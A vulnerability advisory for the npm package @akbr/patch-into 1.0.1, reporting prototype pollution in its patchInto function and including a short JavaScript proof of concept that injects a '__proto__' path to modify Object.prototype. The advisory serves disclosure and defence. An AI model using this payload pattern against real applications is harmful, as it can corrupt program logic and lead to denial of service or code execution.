Vulnerability type: Prototype Pollution
SVSS Score 8.8 HIGH
Vendor of the Package: akbr
Affected Package:
- Product: @akbr/patch-into
- Version: 1.0.1
Affected component(s):
Module.patchInto (@akbr/patch-into/index.js:39)
Attack vector(s):
the attacker can modify built-in Object.prototype by calling the vulnerable function: patchInto
with an argument containing a special property __proto__
to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.
Description:
Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: patchInto
. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__
. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack
Proof-of-Concept:
(async () => {
const lib = await import('@akbr/patch-into');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.default ({},[["__proto__"], "polluted"], true,true);
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();